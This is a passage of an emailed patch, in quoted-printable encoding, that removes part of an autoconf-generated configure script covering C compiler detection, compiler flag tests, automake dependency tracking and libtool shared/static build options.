"${ECHO_T}$CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$CC" && break - done -fi -if test -z "$CC"; then - ac_ct_CC=3D$CC - for ac_prog in cl -do - # Extract the first word of "$ac_prog", so it can be a program name = with args. -set dummy $ac_prog; ac_word=3D$2 -echo "$as_me:$LINENO: checking for $ac_word" >&5 -echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6 -if test "${ac_cv_prog_ac_ct_CC+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -n "$ac_ct_CC"; then - ac_cv_prog_ac_ct_CC=3D"$ac_ct_CC" # Let the user override the test. -else -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then - ac_cv_prog_ac_ct_CC=3D"$ac_prog" - echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5 - break 2 - fi -done -done - -fi -fi -ac_ct_CC=3D$ac_cv_prog_ac_ct_CC -if test -n "$ac_ct_CC"; then - echo "$as_me:$LINENO: result: $ac_ct_CC" >&5 -echo "${ECHO_T}$ac_ct_CC" >&6 -else - echo "$as_me:$LINENO: result: no" >&5 -echo "${ECHO_T}no" >&6 -fi - - test -n "$ac_ct_CC" && break -done - - CC=3D$ac_ct_CC -fi - -fi - - -test -z "$CC" && { { echo "$as_me:$LINENO: error: no acceptable C comp= iler found in \$PATH -See \`config.log' for more details." >&5 -echo "$as_me: error: no acceptable C compiler found in \$PATH -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } - -# Provide some information about the compiler. -echo "$as_me:$LINENO:" \ - "checking for C compiler version" >&5 -ac_compiler=3D`set X $ac_compile; echo $2` -{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version &5\= "") >&5 - (eval $ac_compiler --version &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v &5\"") >&5 - (eval $ac_compiler -v &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } -{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V &5\"") >&5 - (eval $ac_compiler -V &5) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -ac_clean_files_save=3D$ac_clean_files -ac_clean_files=3D"$ac_clean_files a.out a.exe b.out" -# Try to create an executable without -o first, disregard a.out. -# It will help us diagnose broken compilers, and finding out an intuit= ion -# of exeext. -echo "$as_me:$LINENO: checking for C compiler default output file name= " >&5 -echo $ECHO_N "checking for C compiler default output file name... $ECH= O_C" >&6 -ac_link_default=3D`echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` -if { (eval echo "$as_me:$LINENO: \"$ac_link_default\"") >&5 - (eval $ac_link_default) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - # Find the output, starting from the most likely. This scheme is -# not robust to junk in `.', hence go to wildcards (a.*) only as a las= t -# resort. - -# Be careful to initialize this variable, since it used to be cached. -# Otherwise an old cache value of `no' led to `EXEEXT =3D no' in a Mak= efile. -ac_cv_exeext=3D -# b.out is created by i960 compilers. -for ac_file in a_out.exe a.exe conftest.exe a.out conftest a.* conftes= t.* b.out -do - test -f "$ac_file" || continue - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg = | *.o | *.obj ) -=09;; - conftest.$ac_ext ) -=09# This is the source file. -=09;; - [ab].out ) -=09# We found the default executable, but exeext=3D'' is most -=09# certainly right. -=09break;; - *.* ) -=09ac_cv_exeext=3D`expr "$ac_file" : '[^.]*\(\..*\)'` -=09# FIXME: I believe we export ac_cv_exeext for Libtool, -=09# but it would be cool to find out if it's true. Does anybody -=09# maintain Libtool? --akim. -=09export ac_cv_exeext -=09break;; - * ) -=09break;; - esac -done -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -{ { echo "$as_me:$LINENO: error: C compiler cannot create executables -See \`config.log' for more details." >&5 -echo "$as_me: error: C compiler cannot create executables -See \`config.log' for more details." >&2;} - { (exit 77); exit 77; }; } -fi - -ac_exeext=3D$ac_cv_exeext -echo "$as_me:$LINENO: result: $ac_file" >&5 -echo "${ECHO_T}$ac_file" >&6 - -# Check the compiler produces executables we can run. If not, either -# the compiler is broken, or we cross compile. -echo "$as_me:$LINENO: checking whether the C compiler works" >&5 -echo $ECHO_N "checking whether the C compiler works... $ECHO_C" >&6 -# FIXME: These cross compiler hacks should be removed for Autoconf 3.0 -# If not cross compiling, check that we can run a simple program. -if test "$cross_compiling" !=3D yes; then - if { ac_try=3D'./$ac_file' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - cross_compiling=3Dno - else - if test "$cross_compiling" =3D maybe; then -=09cross_compiling=3Dyes - else -=09{ { echo "$as_me:$LINENO: error: cannot run C compiled programs. -If you meant to cross compile, use \`--host'. -See \`config.log' for more details." >&5 -echo "$as_me: error: cannot run C compiled programs. -If you meant to cross compile, use \`--host'. -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } - fi - fi -fi -echo "$as_me:$LINENO: result: yes" >&5 -echo "${ECHO_T}yes" >&6 - -rm -f a.out a.exe conftest$ac_cv_exeext b.out -ac_clean_files=3D$ac_clean_files_save -# Check the compiler produces executables we can run. If not, either -# the compiler is broken, or we cross compile. -echo "$as_me:$LINENO: checking whether we are cross compiling" >&5 -echo $ECHO_N "checking whether we are cross compiling... $ECHO_C" >&6 -echo "$as_me:$LINENO: result: $cross_compiling" >&5 -echo "${ECHO_T}$cross_compiling" >&6 - -echo "$as_me:$LINENO: checking for suffix of executables" >&5 -echo $ECHO_N "checking for suffix of executables... $ECHO_C" >&6 -if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 - (eval $ac_link) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - # If both `conftest.exe' and `conftest' are `present' (well, observa= ble) -# catch `conftest.exe'. For instance with Cygwin, `ls conftest' will -# work properly (i.e., refer to `conftest.exe'), while it won't with -# `rm'. -for ac_file in conftest.exe conftest conftest.*; do - test -f "$ac_file" || continue - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg = | *.o | *.obj ) ;; - *.* ) ac_cv_exeext=3D`expr "$ac_file" : '[^.]*\(\..*\)'` -=09 export ac_cv_exeext -=09 break;; - * ) break;; - esac -done -else - { { echo "$as_me:$LINENO: error: cannot compute suffix of executable= s: cannot compile and link -See \`config.log' for more details." >&5 -echo "$as_me: error: cannot compute suffix of executables: cannot comp= ile and link -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } -fi - -rm -f conftest$ac_cv_exeext -echo "$as_me:$LINENO: result: $ac_cv_exeext" >&5 -echo "${ECHO_T}$ac_cv_exeext" >&6 - -rm -f conftest.$ac_ext -EXEEXT=3D$ac_cv_exeext -ac_exeext=3D$EXEEXT -echo "$as_me:$LINENO: checking for suffix of object files" >&5 -echo $ECHO_N "checking for suffix of object files... $ECHO_C" >&6 -if test "${ac_cv_objext+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.o conftest.obj -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; then - for ac_file in `(ls conftest.o conftest.obj; ls conftest.*) 2>/dev/n= ull`; do - case $ac_file in - *.$ac_ext | *.xcoff | *.tds | *.d | *.pdb | *.xSYM | *.bb | *.bbg = ) ;; - *) ac_cv_objext=3D`expr "$ac_file" : '.*\.\(.*\)'` - break;; - esac -done -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -{ { echo "$as_me:$LINENO: error: cannot compute suffix of object files= : cannot compile -See \`config.log' for more details." >&5 -echo "$as_me: error: cannot compute suffix of object files: cannot com= pile -See \`config.log' for more details." >&2;} - { (exit 1); exit 1; }; } -fi - -rm -f conftest.$ac_cv_objext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_objext" >&5 -echo "${ECHO_T}$ac_cv_objext" >&6 -OBJEXT=3D$ac_cv_objext -ac_objext=3D$OBJEXT -echo "$as_me:$LINENO: checking whether we are using the GNU C compiler= " >&5 -echo $ECHO_N "checking whether we are using the GNU C compiler... $ECH= O_C" >&6 -if test "${ac_cv_c_compiler_gnu+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ -#ifndef __GNUC__ - choke me -#endif - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_compiler_gnu=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_compiler_gnu=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -ac_cv_c_compiler_gnu=3D$ac_compiler_gnu - -fi -echo "$as_me:$LINENO: result: $ac_cv_c_compiler_gnu" >&5 -echo "${ECHO_T}$ac_cv_c_compiler_gnu" >&6 -GCC=3D`test $ac_compiler_gnu =3D yes && echo yes` -ac_test_CFLAGS=3D${CFLAGS+set} -ac_save_CFLAGS=3D$CFLAGS -CFLAGS=3D"-g" -echo "$as_me:$LINENO: checking whether $CC accepts -g" >&5 -echo $ECHO_N "checking whether $CC accepts -g... $ECHO_C" >&6 -if test "${ac_cv_prog_cc_g+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ - -int -main () -{ - - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_prog_cc_g=3Dyes -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -ac_cv_prog_cc_g=3Dno -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -fi -echo "$as_me:$LINENO: result: $ac_cv_prog_cc_g" >&5 -echo "${ECHO_T}$ac_cv_prog_cc_g" >&6 -if test "$ac_test_CFLAGS" =3D set; then - CFLAGS=3D$ac_save_CFLAGS -elif test $ac_cv_prog_cc_g =3D yes; then - if test "$GCC" =3D yes; then - CFLAGS=3D"-g -O2" - else - CFLAGS=3D"-g" - fi -else - if test "$GCC" =3D yes; then - CFLAGS=3D"-O2" - else - CFLAGS=3D - fi -fi -echo "$as_me:$LINENO: checking for $CC option to accept ANSI C" >&5 -echo $ECHO_N "checking for $CC option to accept ANSI C... $ECHO_C" >&6 -if test "${ac_cv_prog_cc_stdc+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - ac_cv_prog_cc_stdc=3Dno -ac_save_CC=3D$CC -cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -#include -#include -#include -#include -/* Most of the following tests are stolen from RCS 5.7's src/conf.sh. = */ -struct buf { int x; }; -FILE * (*rcsopen) (struct buf *, struct stat *, int); -static char *e (p, i) - char **p; - int i; -{ - return p[i]; -} -static char *f (char * (*g) (char **, int), char **p, ...) -{ - char *s; - va_list v; - va_start (v,p); - s =3D g (p, va_arg (v,int)); - va_end (v); - return s; -} - -/* OSF 4.0 Compaq cc is some sort of almost-ANSI by default. It has - function prototypes and stuff, but not '\xHH' hex character constan= ts. - These don't provoke an error unfortunately, instead are silently tr= eated - as 'x'. The following induces an error, until -std1 is added to ge= t - proper ANSI mode. Curiously '\x00'!=3D'x' always comes out true, f= or an - array size at least. It's necessary to write '\x00'=3D=3D0 to get = something - that's true only with -std1. */ -int osf4_cc_array ['\x00' =3D=3D 0 ? 1 : -1]; - -int test (int i, double x); -struct s1 {int (*f) (int a);}; -struct s2 {int (*f) (double a);}; -int pairnames (int, char **, FILE *(*)(struct buf *, struct stat *, in= t), int, int); -int argc; -char **argv; -int -main () -{ -return f (e, argv, 0) !=3D argv[0] || f (e, argv, 1) !=3D argv[1]; - ; - return 0; -} -_ACEOF -# Don't try gcc -ansi; that turns off useful extensions and -# breaks some systems' header files. -# AIX=09=09=09-qlanglvl=3Dansi -# Ultrix and OSF/1=09-std1 -# HP-UX 10.20 and later=09-Ae -# HP-UX older versions=09-Aa -D_HPUX_SOURCE -# SVR4=09=09=09-Xc -D__EXTENSIONS__ -for ac_arg in "" -qlanglvl=3Dansi -std1 -Ae "-Aa -D_HPUX_SOURCE" "-Xc = -D__EXTENSIONS__" -do - CC=3D"$ac_save_CC $ac_arg" - rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - ac_cv_prog_cc_stdc=3D$ac_arg -break -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext -done -rm -f conftest.$ac_ext conftest.$ac_objext -CC=3D$ac_save_CC - -fi - -case "x$ac_cv_prog_cc_stdc" in - x|xno) - echo "$as_me:$LINENO: result: none needed" >&5 -echo "${ECHO_T}none needed" >&6 ;; - *) - echo "$as_me:$LINENO: result: $ac_cv_prog_cc_stdc" >&5 -echo "${ECHO_T}$ac_cv_prog_cc_stdc" >&6 - CC=3D"$CC $ac_cv_prog_cc_stdc" ;; -esac - -# Some people use a C++ compiler to compile C. Since we use `exit', -# in C++ we need to declare it. In case someone uses the same compile= r -# for both compiling C and C++ we need to have the C++ compiler decide -# the declaration of exit, since it's the most demanding environment. -cat >conftest.$ac_ext <<_ACEOF -#ifndef __cplusplus - choke me -#endif -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - for ac_declaration in \ - '' \ - 'extern "C" void std::exit (int) throw (); using std::exit;' \ - 'extern "C" void std::exit (int); using std::exit;' \ - 'extern "C" void exit (int) throw ();' \ - 'extern "C" void exit (int);' \ - 'void exit (int);' -do - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_declaration -#include -int -main () -{ -exit (42); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - : -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -continue -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext - cat >conftest.$ac_ext <<_ACEOF -/* confdefs.h. */ -_ACEOF -cat confdefs.h >>conftest.$ac_ext -cat >>conftest.$ac_ext <<_ACEOF -/* end confdefs.h. */ -$ac_declaration -int -main () -{ -exit (42); - ; - return 0; -} -_ACEOF -rm -f conftest.$ac_objext -if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>conftest.er1 - ac_status=3D$? - grep -v '^ *+' conftest.er1 >conftest.err - rm -f conftest.er1 - cat conftest.err >&5 - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } && -=09 { ac_try=3D'test -z "$ac_c_werror_flag" -=09=09=09 || test ! -s conftest.err' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; } && -=09 { ac_try=3D'test -s conftest.$ac_objext' - { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 - (eval $ac_try) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); }; }; then - break -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -done -rm -f conftest* -if test -n "$ac_declaration"; then - echo '#ifdef __cplusplus' >>confdefs.h - echo $ac_declaration >>confdefs.h - echo '#endif' >>confdefs.h -fi - -else - echo "$as_me: failed program was:" >&5 -sed 's/^/| /' conftest.$ac_ext >&5 - -fi -rm -f conftest.err conftest.$ac_objext conftest.$ac_ext -ac_ext=3Dc -ac_cpp=3D'$CPP $CPPFLAGS' -ac_compile=3D'$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -ac_link=3D'$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS confte= st.$ac_ext $LIBS >&5' -ac_compiler_gnu=3D$ac_cv_c_compiler_gnu -DEPDIR=3D"${am__leading_dot}deps" - - ac_config_commands=3D"$ac_config_commands depfiles" - - -am_make=3D${MAKE-make} -cat > confinc << 'END' -am__doit: -=09@echo done -.PHONY: am__doit -END -# If we don't find an include directive, just comment out the code. -echo "$as_me:$LINENO: checking for style of include used by $am_make" = >&5 -echo $ECHO_N "checking for style of include used by $am_make... $ECHO_= C" >&6 -am__include=3D"#" -am__quote=3D -_am_result=3Dnone -# First try GNU make style include. -echo "include confinc" > confmf -# We grep out `Entering directory' and `Leaving directory' -# messages which can occur if `w' ends up in MAKEFLAGS. -# In particular we don't look at `^make:' because GNU make might -# be invoked under some other name (usually "gmake"), in which -# case it prints its new name instead of `make'. -if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'= `" =3D "done"; then - am__include=3Dinclude - am__quote=3D - _am_result=3DGNU -fi -# Now try BSD make style include. -if test "$am__include" =3D "#"; then - echo '.include "confinc"' > confmf - if test "`$am_make -s -f confmf 2> /dev/null`" =3D "done"; then - am__include=3D.include - am__quote=3D"\"" - _am_result=3DBSD - fi -fi - - -echo "$as_me:$LINENO: result: $_am_result" >&5 -echo "${ECHO_T}$_am_result" >&6 -rm -f confinc confmf - -# Check whether --enable-dependency-tracking or --disable-dependency-t= racking was given. -if test "${enable_dependency_tracking+set}" =3D set; then - enableval=3D"$enable_dependency_tracking" - -fi; -if test "x$enable_dependency_tracking" !=3D xno; then - am_depcomp=3D"$ac_aux_dir/depcomp" - AMDEPBACKSLASH=3D'\' -fi - - -if test "x$enable_dependency_tracking" !=3D xno; then - AMDEP_TRUE=3D - AMDEP_FALSE=3D'#' -else - AMDEP_TRUE=3D'#' - AMDEP_FALSE=3D -fi - - - - -depcc=3D"$CC" am_compiler_list=3D - -echo "$as_me:$LINENO: checking dependency style of $depcc" >&5 -echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6 -if test "${am_cv_CC_dependencies_compiler_type+set}" =3D set; then - echo $ECHO_N "(cached) $ECHO_C" >&6 -else - if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then - # We make a subdir and do the tests there. Otherwise we can end up - # making bogus files that we don't know about and never remove. For - # instance it was reported that on HP-UX the gcc test will end up - # making a dummy file named `D' -- because `-MD' means `put the outp= ut - # in D'. - mkdir conftest.dir - # Copy depcomp to subdir because otherwise we won't find it if we're - # using a relative directory. - cp "$am_depcomp" conftest.dir - cd conftest.dir - # We will build objects and dependencies in a subdirectory because - # it helps to detect inapplicable dependency modes. For instance - # both Tru64's cc and ICC support -MD to output dependencies as a - # side effect of compilation, but ICC will put the dependencies in - # the current directory while Tru64 will put them in the object - # directory. - mkdir sub - - am_cv_CC_dependencies_compiler_type=3Dnone - if test "$am_compiler_list" =3D ""; then - am_compiler_list=3D`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./dep= comp` - fi - for depmode in $am_compiler_list; do - # Setup a source with many dependencies, because some compilers - # like to wrap large dependency lists on column 80 (with \), and - # we should not choose a depcomp mode which is confused by this. - # - # We need to recreate these files for each test, as the compiler m= ay - # overwrite some of them when testing with obscure command lines. - # This happens at least with the AIX C compiler. - : > sub/conftest.c - for i in 1 2 3 4 5 6; do - echo '#include "conftst'$i'.h"' >> sub/conftest.c - # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with - # Solaris 8's {/usr,}/bin/sh. - touch sub/conftst$i.h - done - echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > co= nfmf - - case $depmode in - nosideeffect) - # after this tag, mechanisms are not by side-effect, so they'll - # only be used when explicitly requested - if test "x$enable_dependency_tracking" =3D xyes; then -=09continue - else -=09break - fi - ;; - none) break ;; - esac - # We check with `-c' and `-o' for the sake of the "dashmstdout" - # mode. It turns out that the SunPro C++ compiler does not proper= ly - # handle `-M -o', and we need to detect this. - if depmode=3D$depmode \ - source=3Dsub/conftest.c object=3Dsub/conftest.${OBJEXT-o} \ - depfile=3Dsub/conftest.Po tmpdepfile=3Dsub/conftest.TPo \ - $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conf= test.c \ - >/dev/null 2>conftest.err && - grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && - grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 = && - ${MAKE-make} -s -f confmf > /dev/null 2>&1; then - # icc doesn't choke on unknown options, it will just issue warni= ngs - # or remarks (even with -Werror). So we grep stderr for any mes= sage - # that says an option was ignored or not supported. - # When given -MP, icc 7.0 and 7.1 complain thusly: - # icc: Command line warning: ignoring option '-M'; no argument= required - # The diagnosis changed in icc 8.0: - # icc: Command line remark: option '-MP' not supported - if (grep 'ignoring option' conftest.err || - grep 'not supported' conftest.err) >/dev/null 2>&1; then :; = else - am_cv_CC_dependencies_compiler_type=3D$depmode - break - fi - fi - done - - cd .. - rm -rf conftest.dir -else - am_cv_CC_dependencies_compiler_type=3Dnone -fi - -fi -echo "$as_me:$LINENO: result: $am_cv_CC_dependencies_compiler_type" >&= 5 -echo "${ECHO_T}$am_cv_CC_dependencies_compiler_type" >&6 -CCDEPMODE=3Ddepmode=3D$am_cv_CC_dependencies_compiler_type - - - -if - test "x$enable_dependency_tracking" !=3D xno \ - && test "$am_cv_CC_dependencies_compiler_type" =3D gcc3; then - am__fastdepCC_TRUE=3D - am__fastdepCC_FALSE=3D'#' -else - am__fastdepCC_TRUE=3D'#' - am__fastdepCC_FALSE=3D -fi - - - -# Check whether --enable-shared or --disable-shared was given. -if test "${enable_shared+set}" =3D set; then - enableval=3D"$enable_shared" - p=3D${PACKAGE-default} - case $enableval in - yes) enable_shared=3Dyes ;; - no) enable_shared=3Dno ;; - *) - enable_shared=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_shared=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac -else - enable_shared=3Dyes -fi; - -# Check whether --enable-static or --disable-static was given. -if test "${enable_static+set}" =3D set; then - enableval=3D"$enable_static" - p=3D${PACKAGE-default} - case $enableval in - yes) enable_static=3Dyes ;; - no) enable_static=3Dno ;; - *) - enable_static=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_static=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac -else - enable_static=3Dyes -fi; - -# Check whether --enable-fast-install or --disable-fast-install was gi= ven. -if test "${enable_fast_install+set}" =3D set; then - enableval=3D"$enable_fast_install" - p=3D${PACKAGE-default} - case $enableval in - yes) enable_fast_install=3Dyes ;; - no) enable_fast_install=3Dno ;; - *) - enable_fast_install=3Dno - # Look at the argument we got. We use all the common list separ= ators. - lt_save_ifs=3D"$IFS"; IFS=3D"${IFS}$PATH_SEPARATOR," - for pkg in $enableval; do -=09IFS=3D"$lt_save_ifs" -=09if test "X$pkg" =3D "X$p"; then -=09 enable_fast_install=3Dyes -=09fi - done - IFS=3D"$lt_save_ifs" - ;; - esac -else - enable_fast_install=3Dyes -fi; - -# Make sure we can run config.sub. -$ac_config_sub sun4 >/dev/null 2>&1 || - { { echo "$as_me:$LINENO: error: cannot run $ac_config_sub" >&5 -echo "$as_me: error: cannot run $ac_config_sub" >&2;} - { (exit 